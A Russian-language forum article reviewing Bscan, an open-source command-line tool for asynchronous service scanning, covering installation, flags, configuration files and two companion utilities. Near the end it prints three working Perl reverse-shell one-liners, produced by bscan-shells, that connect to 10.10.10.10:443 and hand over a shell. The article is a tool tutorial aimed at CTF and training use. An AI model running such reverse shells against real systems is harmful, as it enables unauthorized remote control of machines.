РАЗБОР

Bscan - инструмент асинхронного сканирования целей

G
g00db0y Newbie · 137 сообщений
Подписаться
6 тыс.
[ обложка статьи ]
Режим чтения
26611


​
Доброго времени суток! Сегодня я хочу рассказать вам об интересном приложении Bscan.


Bscan - это утилита командной строки для активного сбора информации и перечисления сервисов. По своей сути, Bscan асинхронно создает процессы известных утилит сканирования, перенаправляя результаты сканирования в выделенный вывод консоли, структурировано сохраняя результаты в определенный каталог, который указал юзер ранее.


Установка
​


Bscan был написан под Kali Linux, но как утверждает создатель, если ваша OS имеет все нужные установленные утилиты, то программа должна работать без ошибок.

Если ваша ОС - Линукс, то следующая строка будет вам знакома и не сложна:


wget -O bscan https://releases.brianwel.ch/bscan/linux


Если же Виндоус, то команда будет довольна необычна:

powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

Так же, одним из вариантов может быть установка через PyPi. Чтобы установить последнюю версию, нужно ввести следующую строку. Убедитесь что используете версию Python'а 3,6+ !:

pip install bscan

26613



В противном случае, при использовании версии 3,5 и меньше, будут возникать ошибки:


26614




Или же можно установить через ссылку github'а:

pip install https://github.com/welchbj/bscan/archive/master.tar.gz


Несколько слов о лицензии
​

Код выпущен под лицензией MIT, что придает значимости проекта и утилиты.

Так же Bscan не является утилитой для проведения различных хакерских атак, при сборе информации, и других нелегальных вещей. Утилита была создана для учебных целей и мероприятий, к примеру для использования в CTF. Также код не должен запускаться на компьютерах и в сетях, без предварительного соглашения владельца.



Использование
​
Использовать bscan довольно удобно, как и все утилиты под Kali

Команда bscan —help демонстрирует большие возможности утилиты:

26615



Пример использования
Код:
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

Произведем разбор написанного:
  1. --max-concurrency 3 – это обозначает, что не больше чем 3 параллельных процессов сканирования будут запущенны вовремя.
  2. --patterns [Mm]icrosoft – определяет пользовательский шаблон регулярных выражений, с помощью которого можно выделить совпадения в сгенерированном результате сканирования.
  3. --status-interval 10 – сообщает bscan'у вывести на экран время выполнения каждые 10 секунд.
  4. --verbose-status – обозначает, что каждый из стаусов выполнения будет выводить детали обо всех процесов сканирования.
  5. scanme.nmap.org – непосредственно сам хост, над которым будут выполняться процессы.


Также, bscan полагается на дополнительные файлы конфигурации. Дефолтные файлы можно найти в директории bscan/configuation:

26617




  • patterns.txt - указывает шаблоны регулярных выражений, которые будут выделены в выводе консоли при сопоставлении с выводом сканирования.
26618


  • required-programs.txt - демонстрирует установленные программы, которые bscan планирует использовать.
26619


  • port-scans.toml - определяет сканирование на обнаружение портов, которое должно быть выполнено на цели /целях, а также регулярные выражения, используемые для анализа портов и имен служб из результатов сканирования
26624


  • service-scans.toml - определяет сканирование, выполняемое на цели (ях) для каждого основного сервиса.
26625



Сопутствующие инструменты
​
Основная утилита bscan идет вместе с двумя дополнительными утилитами (bscan-wordlists и bscan-shells), что бы сделать вашу жизнь чуточку легче при поиске списков слов и в попытке открыть обратный shell'ы.



Bscan-wordlists это программа созданная, как я уже описал выше для поиска файлов списков слов в Kali Linux (с другими дистрибутивами тоже работает, но с Kali все же лучше). Эта программа ищет несколько каталогов по умолчанию и допускает поиск по шаблонам поиска и сопоставление по названию файлов. Например:

Код:
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt


Так же bscan-wordlists —help позволит вам узнать другие функции утилиты:

26626



bscan-shells — программа, которая генерирует вариации одно строчных обратных shell“ов, с уже заполненной информацией: целью(или таргетом) и портом. Вот, к примеру, вариация шелов с целью — 10.10.10.10 и портом 443:

Код:
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


Так же обратите внимание, что bscan-shells выводит шеллы из конфигурационного файла reverse-shells.toml. И как всегда, --help поможет вам подробнее разобраться с доп. утилитой:

26627



Спасибо за внимание!
Полезно · 10

Комментарии

1
Ну что, отличная статейка, радует глаз и дух.) Отлична.)
 
  • Нравится
Реакции: g00db0y
1